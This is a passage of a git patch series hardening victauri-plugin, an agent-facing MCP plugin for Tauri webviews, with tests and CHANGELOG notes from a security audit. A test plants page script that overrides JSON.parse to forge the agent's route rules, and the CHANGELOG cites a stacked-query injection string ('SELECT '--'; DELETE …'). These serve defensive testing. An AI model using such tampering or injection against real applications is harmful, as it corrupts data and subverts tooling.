parsed the agent's rule string with the page's JSON.parse, so page script could rewrite every rule the agent added; it now uses the JSON.parse captured at init. - `logs limit=0` and `route matches limit=0` returned EVERY entry (`.slice(-0)`, and the bridge treats a falsy limit as "all"). `limit` is documented as the maximum number of entries to return, so 0 now returns `[]` without reading the page; trimmed_log_js no longer slices with -0. The param doc states it and the per-action defaults. Tests (all fail before): bridge_r5_tests r5_js5_* (uncaught message kept at 100011 chars; addRoute returned the page's forged rule) and lib log_limit_zero_returns_no_entries (console limit=0 returned both entries). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/js_bridge.rs | 44 ++++++--- .../src/mcp/compound_params.rs | 3 +- crates/victauri-plugin/src/mcp/mod.rs | 59 +++++++++++- .../victauri-plugin/tests/bridge_r5_tests.rs | 89 +++++++++++++++++++ 4 files changed, 179 insertions(+), 16 deletions(-) diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index 75387984..e2b6cf4c 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -1236,7 +1236,8 @@ const INIT_SCRIPT_BODY: &str = r#" // action ('block'|'fulfill'|'delay'), status, status_text, headers, // body, content_type, delay_ms, times }. Returns the assigned id. addRoute: function(rule) { - if (typeof rule === 'string') { try { rule = JSON.parse(rule); } catch (e) { return { ok: false, error: 'invalid rule JSON' }; } } + // The captured parse, not the page's: page script could rewrite every rule the agent adds. + if (typeof rule === 'string') { try { rule = PRISTINE_PARSE(rule); } catch (e) { return { ok: false, error: 'invalid rule JSON' }; } } if (!rule || !rule.pattern) return { ok: false, error: 'route rule requires a pattern' }; if ((rule.action || 'fulfill') === 'fulfill' && typeof rule.status === 'number' && (rule.status !== Math.floor(rule.status) || rule.status < 200 || rule.status > 599)) { @@ -2550,6 +2551,17 @@ const INIT_SCRIPT_BODY: &str = r#" } } + // Strip control characters and cap at MAX_CONSOLE_MSG, marking what was cut. Shared by + // console capture and uncaught-error capture (R5-JS5: the latter stored whole messages). + function capConsoleMessage(msg, skippedArgs) { + msg = msg.replace(CTRL_RE, ''); + if (msg.length > MAX_CONSOLE_MSG) { + msg = truncText(msg, MAX_CONSOLE_MSG) + '…[+' + (msg.length - MAX_CONSOLE_MSG) + ' bytes truncated' + + (skippedArgs ? ', ' + skippedArgs + ' more args' : '') + ']'; + } + return msg; + } + function hookConsole(level) { console[level] = function() { try { @@ -2560,12 +2572,7 @@ const INIT_SCRIPT_BODY: &str = r#" if (i) msg += ' '; msg += safeArgString(arguments[i]); } - msg = msg.replace(CTRL_RE, ''); - if (msg.length > MAX_CONSOLE_MSG) { - msg = truncText(msg, MAX_CONSOLE_MSG) + '…[+' + (msg.length - MAX_CONSOLE_MSG) + ' bytes truncated' - + (skippedArgs ? ', ' + skippedArgs + ' more args' : '') + ']'; - } - consoleLogs.push({ level: level, message: msg, timestamp: Date.now() }); + consoleLogs.push({ level: level, message: capConsoleMessage(msg, skippedArgs), timestamp: Date.now() }); if (consoleLogs.length > CAP_CONSOLE) consoleLogs.shift(); } catch (e) {} // Always forward to the original method, whatever capture did. @@ -2582,16 +2589,25 @@ const INIT_SCRIPT_BODY: &str = r#" // ── Global Error Capture ──────────────────────────────────────────────── window.addEventListener('error', function(e) { - var msg = e.message || 'Unknown error'; - if (e.filename) msg += ' at ' + e.filename + ':' + e.lineno + ':' + e.colno; - consoleLogs.push({ level: 'error', message: ('[uncaught] ' + msg).replace(CTRL_RE, ''), timestamp: Date.now() }); - if (consoleLogs.length > CAP_CONSOLE) consoleLogs.shift(); + try { + var msg = safeArgString(e.message || 'Unknown error'); + if (e.filename) msg += ' at ' + safeArgString(e.filename) + ':' + e.lineno + ':' + e.colno; + consoleLogs.push({ level: 'error', message: capConsoleMessage('[uncaught] ' + msg, 0), timestamp: Date.now() }); + if (consoleLogs.length > CAP_CONSOLE) consoleLogs.shift(); + } catch (x) {} }); window.addEventListener('unhandledrejection', function(e) { - var msg = e.reason ? (e.reason.message || String(e.reason)) : 'Unhandled promise rejection'; - consoleLogs.push({ level: 'error', message: ('[unhandled rejection] ' + msg).replace(CTRL_RE, ''), timestamp: Date.now() }); - if (consoleLogs.length > CAP_CONSOLE) consoleLogs.shift(); + try { + var r = e.reason, msg; + if (!r) msg = 'Unhandled promise rejection'; + else { + var m; try { m = r.message; } catch (x) { m = undefined; } + msg = safeArgString(m || r); + } + consoleLogs.push({ level: 'error', message: capConsoleMessage('[unhandled rejection] ' + msg, 0), timestamp: Date.now() }); + if (consoleLogs.length > CAP_CONSOLE) consoleLogs.shift(); + } catch (x) {} }); // ── Interaction Observer (for record mode) ──────────────────────────────── diff --git a/crates/victauri-plugin/src/mcp/compound_params.rs b/crates/victauri-plugin/src/mcp/compound_params.rs index 4e69afa6..cfebf3fd 100644 --- a/crates/victauri-plugin/src/mcp/compound_params.rs +++ b/crates/victauri-plugin/src/mcp/compound_params.rs @@ -832,7 +832,8 @@ pub struct LogsParams { pub since: Option, /// Filter by URL substring (for network). pub filter: Option, - /// Maximum number of entries to return (for ipc, network, `slow_ipc`). + /// Maximum number of entries to return; 0 returns none. Defaults: 100 for ipc and + /// network, 20 for `slow_ipc`, everything captured for the other actions. pub limit: Option, /// Threshold in milliseconds for slow IPC calls (for `slow_ipc`). pub threshold_ms: Option, diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index c17622b6..4eb5c89a 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -2722,6 +2722,10 @@ impl VictauriMcpHandler { } RouteAction::Matches => { let limit = params.limit.unwrap_or(100); + // A maximum of 0 entries is none — not "all" (the bridge's falsy limit). + if limit == 0 { + return CallToolResult::success(vec![ContentBlock::text("[]")]); + } let code = format!("return window.__VICTAURI__?.getRouteMatches({limit})"); self.eval_bridge(&code, params.webview_label.as_deref()) .await @@ -3110,6 +3114,22 @@ impl VictauriMcpHandler { ) )] async fn logs(&self, Parameters(params): Parameters) -> CallToolResult { + // `limit` is the maximum number of entries to return, so 0 returns none (R5-JS5). The + // page is not asked at all: `.slice(-0)` and the bridge's "falsy limit = everything" + // used to turn it into EVERY entry, bodies included. + if params.limit == Some(0) + && matches!( + params.action, + LogsAction::Console + | LogsAction::Network + | LogsAction::Ipc + | LogsAction::Navigation + | LogsAction::Dialogs + | LogsAction::Events + ) + { + return CallToolResult::success(vec![ContentBlock::text("[]")]); + } match params.action { LogsAction::Console => { let since_arg = params.since.map(|ts| format!("{ts}")).unwrap_or_default(); @@ -5670,7 +5690,7 @@ fn trimmed_log_js(source_expr: &str, limit: usize) -> String { return out; }} var arr = {source_expr} || []; - if (arr.length > {limit}) arr = arr.slice(-{limit}); + if (arr.length > {limit}) arr = arr.slice(arr.length - {limit}); // not slice(-0): all return arr.map(trimEntry); }})()" ) @@ -8772,6 +8792,43 @@ mod command_policy_dispatch_tests { } /// The eval envelope for a page result `value`. + /// R5-JS5: `limit: 0` means "return at most zero entries". The log JS used `.slice(-0)` + /// (and the bridge treats a falsy limit as "all"), so it returned EVERY entry. + #[tokio::test] + async fn log_limit_zero_returns_no_entries() { + let state = eval_state_with_timeout(2_000); + let bridge = RecordingBridge::answering(state.pending_evals.clone()); + bridge.answer_evals_with(&ok_envelope(&json!([{"a": 1}, {"a": 2}]))); + let h = VictauriMcpHandler::new(state, Arc::new(bridge)); + for action in [ + "console", + "network", + "ipc", + "navigation", + "dialogs", + "events", + ] { + let r = call(&h, "logs", json!({"action": action, "limit": 0})).await; + let text = result_text(&r); + assert_ne!(r.is_error, Some(true), "{action}: {text}"); + let v: serde_json::Value = serde_json::from_str(&text) + .unwrap_or_else(|e| panic!("{action}: not JSON ({e}): {text}")); + assert_eq!( + v, + json!([]), + "logs {action} limit=0 returned entries: {text}" + ); + } + let r = call(&h, "route", json!({"action": "matches", "limit": 0})).await; + let text = result_text(&r); + let v: serde_json::Value = serde_json::from_str(&text).unwrap_or_default(); + assert_eq!( + v, + json!([]), + "route matches limit=0 returned entries: {text}" + ); + } + fn ok_envelope(value: &serde_json::Value) -> String { json!({"__victauri_ok": value, "__victauri_type": "object"}).to_string() } diff --git a/crates/victauri-plugin/tests/bridge_r5_tests.rs b/crates/victauri-plugin/tests/bridge_r5_tests.rs index 593a57b5..a54276aa 100644 --- a/crates/victauri-plugin/tests/bridge_r5_tests.rs +++ b/crates/victauri-plugin/tests/bridge_r5_tests.rs @@ -464,3 +464,92 @@ fn r5_js4_route_glob_matches_a_literal_question_mark() { "{r}" ); } + +// ── R5-JS5: capped uncaught-error messages; pristine JSON.parse in addRoute ── + +/// `error` / `unhandledrejection` capture stored the whole message (console messages are +/// capped at 4096 chars), so one huge thrown message filled the console log's budget. +#[test] +fn r5_js5_uncaught_error_messages_are_capped_like_console_messages() { + let def = def( + None, + vec![case( + "huge uncaught error + rejection", + r" + window.dispatchEvent(new ErrorEvent('error', { message: 'E'.repeat(100000) })); + var ev = new Event('unhandledrejection'); + ev.reason = new Error('R'.repeat(100000)); + window.dispatchEvent(ev); + var odd = new Event('unhandledrejection'); + odd.reason = Object.create(null); // String() of this throws + window.dispatchEvent(odd); + return window.__VICTAURI__.getConsoleLogs().map(function(l) { + return { len: l.message.length, head: l.message.slice(0, 24), tail: l.message.slice(-40) }; + }); + ", + )], + ); + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let logs = result(&results, 0); + let logs = logs.as_array().unwrap(); + assert_eq!(logs.len(), 3, "{logs:?}"); + for l in &logs[..2] { + let len = l["len"].as_u64().unwrap(); + assert!(len < 4200, "uncaught message not capped ({len} chars): {l}"); + assert!( + l["tail"].as_str().unwrap().contains("bytes truncated"), + "{l}" + ); + } + assert!( + logs[0]["head"] + .as_str() + .unwrap() + .starts_with("[uncaught] E") + ); + assert!( + logs[1]["head"] + .as_str() + .unwrap() + .starts_with("[unhandled rejection] R") + ); + assert!( + logs[2]["head"] + .as_str() + .unwrap() + .starts_with("[unhandled rejection]"), + "an unprintable reason is still recorded: {logs:?}" + ); +} + +/// `addRoute` parsed the agent's rule with the page's `JSON.parse`, so page script could +/// rewrite every rule the agent added (e.g. turn a block into a no-op). +#[test] +fn r5_js5_add_route_parses_with_the_pristine_json_parse() { + let def = def( + Some( + "JSON.parse = function() { return { pattern: 'never-matches', action: 'delay' }; };" + .to_string(), + ), + vec![case( + "page JSON.parse replaced", + r#" + var r = window.__VICTAURI__.addRoute('{"pattern":"/api/x","action":"block"}'); + return { ok: r.ok, pattern: r.rule && r.rule.pattern, action: r.rule && r.rule.action }; + "#, + )], + ); + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = result(&results, 0); + assert_eq!( + r, + serde_json::json!({ "ok": true, "pattern": "/api/x", "action": "block" }), + "{r}" + ); +} From 96d1083700b35593dc7fe6bc356a599cc513e29a Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 00:21:04 +1000 Subject: [PATCH 123/167] fix(server): eval auto-return no longer drops statements after control-head regexes, `of`, non-ASCII names (R5-EVAL1) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit should_prepend_return still prepended `return` to multi-statement code (so everything after the first statement was silently skipped) for: 1. a regex literal right after the `)` of an if/while/for/with head: after `)` a `/` was always division, so a quote, paren or bracket inside the regex broke the scan - `(function(){ if (a) /'/.test(s) })(); L(2)`. Each bracket now records what opened it; a `/` after the `)` that closes a control head (incl. `for await`) starts a regex. 2. `of` treated as a keyword anywhere inside brackets - `L(of / 2); L(3)`. It is a keyword only directly inside a `for (...)` head now. 3. identifier bytes were ASCII-only, so `énew / 2; g() / 1` read `new` as a keyword. Non-ASCII characters are part of a name (non-ASCII whitespace - NBSP, BOM, U+2000.. - is skipped as whitespace), and every backward word walk is char-aware. Differential against node over 20,000 generated snippets built around these shapes (each run as-is and as decided, comparing which statements ran): 1,771 divergent of 18,119 that parse before, 0 after. The node-backed unit harness now includes the new cases. The CHANGELOG's round-4 claim is corrected: its "10,793 -> 0 divergent" was a result for that corpus, not a guarantee. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- CHANGELOG.md | 9 +- crates/victauri-plugin/src/mcp/mod.rs | 219 ++++++++++++++++++++++---- 2 files changed, 197 insertions(+), 31 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4fb00bcd..d5decde6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -69,7 +69,14 @@ that did not survive testing are listed under "Disproved" below. No Critical or forge one was wrong), inviting a double-executing retry. Only a positively different page aborts. - **The `eval_js` auto-return scanner still dropped statements** (the round-3 "never drops a statement" claim was wrong): a line break inside `/* */`, a lone CR, a line ending in `1.`, and - `of`/`yield` used as names. Differential check against node: 10,793 → 0 divergent of 35,459. + `of`/`yield` used as names. Differential check against node: 10,793 → 0 divergent of 35,459 + generated snippets — a result for that corpus, not a proof. Round 5 found three more shapes it + did not cover, now fixed: a regex right after the `)` of an `if`/`while`/`for`/`with` head + (`if (a) /'/.test(s)` inside a function, then another statement), `of` used as a name inside + brackets (`L(of / 2); L(3)`), and a non-ASCII identifier ending in a keyword (`énew / 2; g()`). + A new node differential over 20,000 snippets built around these shapes: 1,771 → 0 divergent of + 18,119 that parse. The scanner is a heuristic; when it cannot tell, it leaves the code unwrapped + (no auto-`return`), which is the safe direction. - **`query_db` refused legitimate queries** with `;`, `--` or `/*` inside quotes (`LIKE '%;%'`, present since 0.8.x), while `SELECT '--'; DELETE …` slipped past the stacked-query check. One quote-aware lexer now drives every pre-check (the SQLite authorizer remains the security diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 4a27697a..83e04144 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -5798,10 +5798,10 @@ const STMT_KEYWORDS: &[&str] = &[ /// `code` starts with the whole word `word` (not merely a longer identifier sharing its prefix). fn starts_with_word(code: &str, word: &str) -> bool { code.starts_with(word) - && code - .as_bytes() - .get(word.len()) - .is_none_or(|&b| !is_js_ident(b)) + && code[word.len()..] + .chars() + .next() + .is_none_or(|c| !is_js_ident_char(c)) } /// Does `code` begin with a statement (not an expression) — a statement keyword, a block, an @@ -5815,7 +5815,11 @@ fn starts_with_statement(code: &str) -> bool { return true; } // A label: an identifier followed (after optional whitespace) by a single `:`. - let ident_len = code.bytes().take_while(|&b| is_js_ident(b)).count(); + let ident_len: usize = code + .chars() + .take_while(|&c| is_js_ident_char(c)) + .map(char::len_utf8) + .sum(); ident_len > 0 && !code.as_bytes()[0].is_ascii_digit() && code[ident_len..].trim_start().starts_with(':') @@ -5916,6 +5920,16 @@ fn strip_leading_js_comments(mut code: &str) -> &str { } } +/// What opened a bracket, for [`should_prepend_return`]: a `/` right after the `)` of an +/// `if`/`while`/`for`/`with` head starts a regex (the statement body), not a division, and `of` +/// is a keyword only directly inside a `for (…)` head. +#[derive(PartialEq, Clone, Copy)] +enum Bracket { + Plain, + ControlHead, + ForHead, +} + /// String/template/comment scan state for [`should_prepend_return`]. #[derive(PartialEq, Clone, Copy)] enum ScanState { @@ -5952,14 +5966,24 @@ fn should_prepend_return(code: &str) -> bool { let mut template_depths: Vec = Vec::new(); // Only whitespace since the last line terminator (an HTML-like `-->` comment position). let mut at_line_start = true; + // Every open bracket (and `${`) and what opened it; the index of the last `)` that closed + // an `if`/`while`/`for`/`with` head. + let mut brackets: Vec = Vec::new(); + let mut control_head_closed_at: Option = None; // Is there a top-level `return` token starting at byte `i` (word-bounded, and not a // property name such as `obj.return`)? let is_return_token = |i: usize| -> bool { - let prev_ok = i == 0 || !is_js_ident(bytes[i - 1]); + let prev_ok = code[..i] + .chars() + .next_back() + .is_none_or(|c| !is_js_ident_char(c)); prev_ok && code[i..].starts_with("return") - && bytes.get(i + 6).copied().is_none_or(|b| !is_js_ident(b)) + && code[i + 6..] + .chars() + .next() + .is_none_or(|c| !is_js_ident_char(c)) && !preceded_by_dot(code, i) }; @@ -5994,9 +6018,25 @@ fn should_prepend_return(code: &str) -> bool { i = find_line_terminator(bytes, i).unwrap_or(bytes.len()); continue; } + // A non-ASCII character: JavaScript whitespace (NBSP, BOM, …) is skipped like + // any whitespace; anything else is read as part of an identifier (`énew` is a + // name, not the keyword `new`). Line terminators were handled above. + if c >= 0x80 { + let ch = code.get(i..).and_then(|rest| rest.chars().next()); + let len = ch.map_or(1, char::len_utf8); + if !ch.is_some_and(is_js_space) { + at_line_start = false; + prev_sig = last_sig; + last_sig = Some(c); + last_sig_idx = i + len - 1; + } + i += len; + continue; + } if !c.is_ascii_whitespace() { at_line_start = false; } + let in_for_head = brackets.last() == Some(&Bracket::ForHead); match c { b'\'' => state = SingleQuote, b'"' => state = DoubleQuote, @@ -6022,7 +6062,16 @@ fn should_prepend_return(code: &str) -> bool { // After `}` a `/` is division if the brace closed an object literal, and a // regex if it closed a block — undecidable here, so run the code as-is. b'/' if last_sig == Some(b'}') => return false, - b'/' if slash_starts_regex(code, last_sig, prev_sig, last_sig_idx, depth) => { + b'/' if (last_sig == Some(b')') + && control_head_closed_at == Some(last_sig_idx)) + || slash_starts_regex( + code, + last_sig, + prev_sig, + last_sig_idx, + in_for_head, + ) => + { // A regex literal: skip it whole (a quote or newline-like character // inside it must not be read as code), then its flags. i = skip_regex_literal(bytes, i); @@ -6031,9 +6080,20 @@ fn should_prepend_return(code: &str) -> bool { last_sig_idx = i.saturating_sub(1); continue; } - b'(' | b'[' | b'{' => depth += 1, + b'(' | b'[' | b'{' => { + depth += 1; + let head = if c == b'(' { + control_head_kind(code, last_sig, last_sig_idx) + } else { + Bracket::Plain + }; + brackets.push(head); + } b')' | b']' | b'}' => { depth -= 1; + if brackets.pop().is_some_and(|b| b != Bracket::Plain) && c == b')' { + control_head_closed_at = Some(i); + } if c == b'}' && template_depths.last() == Some(&depth) { template_depths.pop(); state = Template; @@ -6064,6 +6124,7 @@ fn should_prepend_return(code: &str) -> bool { i += 1; } else if state == Template && c == b'$' && bytes.get(i + 1) == Some(&b'{') { template_depths.push(depth); + brackets.push(Bracket::Plain); depth += 1; state = Code; i += 1; @@ -6081,8 +6142,64 @@ fn should_prepend_return(code: &str) -> bool { true } +/// An identifier byte: ASCII letter/digit/`_`/`$`, or any byte of a non-ASCII character (the +/// scanner steps over non-ASCII whitespace itself, so what remains is part of a name). fn is_js_ident(b: u8) -> bool { - b.is_ascii_alphanumeric() || b == b'_' || b == b'$' + b.is_ascii_alphanumeric() || b == b'_' || b == b'$' || b >= 0x80 +} + +/// JavaScript whitespace outside ASCII: the Unicode space separators (NBSP, U+2000…), and BOM. +fn is_js_space(c: char) -> bool { + c.is_whitespace() || c == '\u{feff}' +} + +/// A character that can be part of an identifier (approximately: non-ASCII letters are not +/// told apart from other non-ASCII symbols, which are syntax errors anyway). +fn is_js_ident_char(c: char) -> bool { + if c.is_ascii() { + c.is_ascii_alphanumeric() || c == '_' || c == '$' + } else { + !is_js_space(c) && !matches!(c, '\u{2028}' | '\u{2029}') + } +} + +/// Start of the identifier that ends just before byte `end` (a char boundary); `end` if none. +fn ident_start_before(code: &str, end: usize) -> usize { + let Some(head) = code.get(..end) else { + return end; + }; + let mut start = end; + for (idx, c) in head.char_indices().rev() { + if !is_js_ident_char(c) { + break; + } + start = idx; + } + start +} + +/// What a `(` opens, given the last significant token before it: an `if`/`while`/`with` head, +/// a `for` (or `for await`) head, or anything else. +fn control_head_kind(code: &str, last_sig: Option, last_sig_idx: usize) -> Bracket { + if !last_sig.is_some_and(is_js_ident) { + return Bracket::Plain; + } + match js_keyword_ending_at(code, last_sig_idx) { + "if" | "while" | "with" => Bracket::ControlHead, + "for" => Bracket::ForHead, + "await" => { + // `for await (`: the word before `await`. + let before = code[..=last_sig_idx] + .strip_suffix("await") + .unwrap_or("") + .trim_end(); + match before.len().checked_sub(1) { + Some(end) if js_keyword_ending_at(code, end) == "for" => Bracket::ForHead, + _ => Bracket::Plain, + } + } + _ => Bracket::Plain, + } } /// Is the token starting at byte `start` a property name (`obj.of`, `a?.return`)? Such a @@ -6095,14 +6212,11 @@ fn preceded_by_dot(code: &str, start: usize) -> bool { /// when `code[end]` is not an identifier byte or the word is a property name after `.`. fn js_keyword_ending_at(code: &str, end: usize) -> &str { let bytes = code.as_bytes(); - if !bytes.get(end).copied().is_some_and(is_js_ident) { + if !bytes.get(end).copied().is_some_and(is_js_ident) || !code.is_char_boundary(end + 1) { return ""; } - let mut start = end; - while start > 0 && is_js_ident(bytes[start - 1]) { - start -= 1; - } - if preceded_by_dot(code, start) { + let start = ident_start_before(code, end + 1); + if start > end || preceded_by_dot(code, start) { return ""; } &code[start..=end] @@ -6128,11 +6242,11 @@ const EXPR_KEYWORDS: &[&str] = &[ "throw", ]; -/// Whether `word`, found at bracket depth `depth`, is a keyword after which an operand must -/// follow. `of` is one only inside brackets (a `for (x of …)` head); at depth 0 it is an -/// identifier (`of` then a new line then `foo()` is two statements). -fn is_expr_keyword(word: &str, depth: i32) -> bool { - (word == "of" && depth > 0) || EXPR_KEYWORDS.contains(&word) +/// Whether `word` is a keyword after which an operand must follow. `of` is one only directly +/// inside a `for (…)` head (`in_for_head`); anywhere else it is an identifier (`f(of / 2)`, or +/// `of` then a new line then `foo()`, which is two statements). +fn is_expr_keyword(word: &str, in_for_head: bool) -> bool { + (word == "of" && in_for_head) || EXPR_KEYWORDS.contains(&word) } /// Is the `.` at byte `dot` the end of a numeric literal (`1.`) — a complete operand — rather @@ -6142,10 +6256,7 @@ fn is_expr_keyword(word: &str, depth: i32) -> bool { /// the `return` prepend, which is always safe. fn dot_completes_number(code: &str, dot: usize) -> bool { let bytes = code.as_bytes(); - let mut start = dot; - while start > 0 && is_js_ident(bytes[start - 1]) { - start -= 1; - } + let start = ident_start_before(code, dot); let word = &bytes[start..dot]; word.first().is_some_and(u8::is_ascii_digit) && word.iter().all(|b| b.is_ascii_digit() || *b == b'_') @@ -6188,20 +6299,21 @@ fn asi_ends_statement( let number_dot = last_sig == Some(b'.') && dot_completes_number(code, last_sig_idx); let continues_after = (!number_dot && last_sig.is_some_and(|p| ASI_CONTINUES_AFTER.contains(&p))) - || is_expr_keyword(js_keyword_ending_at(code, last_sig_idx), 0); + || is_expr_keyword(js_keyword_ending_at(code, last_sig_idx), false); !(continues_after || ASI_CONTINUES_BEFORE.contains(&next)) } /// Whether a `/` (not starting a comment) begins a regex literal rather than division: /// true where an operand is expected — at the start, after an operator or opening /// punctuation, or after a keyword such as `return`/`typeof`. After a postfix `++`/`--` -/// (a complete operand) it is division. +/// (a complete operand) it is division. (After the `)` of a control-statement head it is a +/// regex too; the caller decides that case.) fn slash_starts_regex( code: &str, last_sig: Option, prev_sig: Option, last_sig_idx: usize, - depth: i32, + in_for_head: bool, ) -> bool { if ends_in_postfix(last_sig, prev_sig) { return false; @@ -6210,7 +6322,7 @@ fn slash_starts_regex( None => true, Some(b) if b"(,=:[!&|?{};+-*%<>~^".contains(&b) => true, Some(b) if is_js_ident(b) => { - is_expr_keyword(js_keyword_ending_at(code, last_sig_idx), depth) + is_expr_keyword(js_keyword_ending_at(code, last_sig_idx), in_for_head) } Some(_) => false, } @@ -6654,6 +6766,52 @@ mod tests { "x = typeof of\nf()", ]; + /// Multi-statement snippets from the 0.9 round-5 audit (R5-EVAL1): each was wrapped with + /// `return` and lost its second statement. (1) a regex right after the `)` of an + /// `if`/`while`/`for`/`with` head was read as division, so a quote or bracket inside it + /// broke the scan; (2) `of` was a keyword anywhere inside brackets; (3) a non-ASCII + /// identifier ending in a keyword (`énew`) was read as that keyword. + const ASI_ROUND5_STATEMENT_CASES: &[&str] = &[ + "(function(){ if (a) /'/.test('q') })(); f()", + "(function(){ if (a) /\\(/.test('q') })(); f()", + "(function(){ if (a) /\"/.test('q') })(); f()", + "(function(){ if (a) /`/.test('q') })(); f()", + "(function(){ if (a) /[(]/.test('q') })(); f()", + "(function(){ if (a) /\\[/.test('q') })(); f()", + "(function(){ if (a) /\\{/.test('q') })(); f()", + "(function(){ if ((a)) /'/.test('q') })(); f()", + "(function(){ while (a) /'/.test('q') })(); f()", + "(function(){ for (;a;) /'/.test('q') })(); f()", + "(function(){ with (obj) /'/.test('q') })(); f()", + "(async function(){ for await (const q of []) /'/.test('q') })(); f()", + "(() => { if (a) /'/.test('q') })(); f()", + "Math.abs(of / 2); f()", + "Math.abs(of / 2); f() / 1", + "[of / 2]; f()", + "énew / 2; f() / 1", + "x = énew / 2; f()", + "x = \u{e9}typeof / 2; f()", + ]; + + #[test] + fn prepend_return_round5_shapes() { + for code in ASI_ROUND5_STATEMENT_CASES { + assert!(!should_prepend_return(code), "must not wrap: {code:?}"); + } + for code in [ + "(x) / 2 / 1", + "f(x) / 2", + "f(of / 2)", + "[1, 2].map(of => of / 2)", + "énew / 2", + "if_ (a) / 2", + "obj.if (a) / 2", + "(a) / 2; ", + ] { + assert!(should_prepend_return(code), "must wrap: {code:?}"); + } + } + /// Table for R4-EVAL2: `(code, wrap?)` — every shape the fix touches, both ways. #[test] fn prepend_return_round4_shapes() { @@ -6724,6 +6882,7 @@ mod tests { let mut cases: Vec<(&str, &str, Vec<&str>)> = ASI_ROUND2_STATEMENT_CASES .iter() .chain(ASI_ROUND4_STATEMENT_CASES) + .chain(ASI_ROUND5_STATEMENT_CASES) .map(|c| { let n = c.matches("f()").count() + c.matches("(f)()").count(); (*c, "undefined", vec!["f"; n]) @@ -6770,7 +6929,7 @@ mod tests { const log = []; globalThis.__log = log; const src = '(async () => { const log = globalThis.__log; const f = () => log.push(\'f\');' - + ' let i = 1, x = 0, a; const document = \'doc\';' + + ' let i = 1, x = 0, a, of = 4, énew = 2, étypeof = 3; const document = \'doc\';' + ' const obj = { of: \'OF\', in: \'IN\', return: \'RET\' };\n' + body + '\n })()'; let ret, err = null; try { ret = await vm.runInThisContext(src); } catch (e) { err = e.name + ': ' + e.message; } From 13bcd88182de8ea38eb1fcce66575b46844e9a3c Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 00:22:07 +1000 Subject: [PATCH 124/167] test(plugin): pin every registered command's sync-ness; correct the window-query budget comment (R5-TOOLS) The test pinning "only victauri_eval_js / victauri_dom_snapshot are async" grepped `pub async fn victauri_` in tools.rs only, so `#[tauri::command(async)]` on a plain `fn` (verified: the old test passes with that mutation, the new one fails) or an async command defined in another file would slip through. The new test rejects any `#[tauri::command(...)]` attribute mentioning `async` anywhere in the crate's src, and checks that every command in lib.rs's generate_handler! has exactly one definition, sync unless it is one of the two page waiters. The PAGE_WINDOW_QUERY_SLOTS comment still described the page window queries as serialized main-thread round trips. They are sync commands now: Tauri runs them on the main thread, bridge::on_main runs the query inline, and the main thread runs one command at a time, so the budget never binds today. It is kept (documented as such) as a guard should they ever run off the main thread again. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/tools.rs | 106 ++++++++++++++++++++++++++-- 1 file changed, 99 insertions(+), 7 deletions(-) diff --git a/crates/victauri-plugin/src/tools.rs b/crates/victauri-plugin/src/tools.rs index a2f8c0ba..5f2e32f9 100644 --- a/crates/victauri-plugin/src/tools.rs +++ b/crates/victauri-plugin/src/tools.rs @@ -16,9 +16,15 @@ pub const MAX_PAGE_PENDING_EVALS: usize = 25; pub const MAX_PAGE_PENDING_EVALS_PER_WINDOW: usize = 10; /// Page-callable window queries (`victauri_list_windows` / `victauri_get_window_state`) allowed -/// in flight at once, across all windows. Each is a main-thread round trip serialized with every -/// other one (the agent's included); without a budget page script could queue hundreds and -/// starve the agent. Beyond it a query is refused at once, like a page eval over its budget. +/// in flight at once, across all windows. Beyond it a query is refused at once, like a page eval +/// over its budget. +/// +/// While both are synchronous commands this budget never binds: Tauri runs a sync command on the +/// main thread, the bridge then runs the query inline (`bridge::on_main` — no round trip, no +/// dispatch lock), and the main thread runs one command at a time, so at most one slot is ever +/// held. It is kept as a guard for the path it was written for (0.9.0 round 3, when these were +/// `async` commands whose queries were main-thread round trips queued behind the agent's): should +/// they ever run off the main thread again, a page cannot queue hundreds of them. pub const MAX_PAGE_WINDOW_QUERIES: usize = 4; pub static PAGE_WINDOW_QUERY_SLOTS: tokio::sync::Semaphore = tokio::sync::Semaphore::const_new(MAX_PAGE_WINDOW_QUERIES); @@ -322,10 +328,10 @@ pub fn victauri_check_ipc_integrity( mod tests { use super::*; - /// G-2: `victauri_list_windows` / `victauri_get_window_state` are callable by page script - /// and each is a main-thread round trip serialized with every other; without a budget a - /// page could queue hundreds and starve the agent's calls. Beyond the budget a query is - /// refused at once, and a slot is released when its query finishes. + /// G-2: `victauri_list_windows` / `victauri_get_window_state` are callable by page script. + /// Beyond the budget a query is refused at once, and a slot is released when its query + /// finishes. (As sync commands they cannot contend for it today — see + /// [`MAX_PAGE_WINDOW_QUERIES`]; this pins the guard itself.) #[test] fn page_window_queries_are_budgeted() { let held: Vec<_> = (0..MAX_PAGE_WINDOW_QUERIES) @@ -369,4 +375,90 @@ mod tests { "victauri_eval_callback must stay a synchronous command" ); } + + /// Every `.rs` file under this crate's `src/`, as `(path, source)`. + fn crate_sources() -> Vec<(std::path::PathBuf, String)> { + fn walk(dir: &std::path::Path, out: &mut Vec<(std::path::PathBuf, String)>) { + for entry in std::fs::read_dir(dir).unwrap() { + let path = entry.unwrap().path(); + if path.is_dir() { + walk(&path, out); + } else if 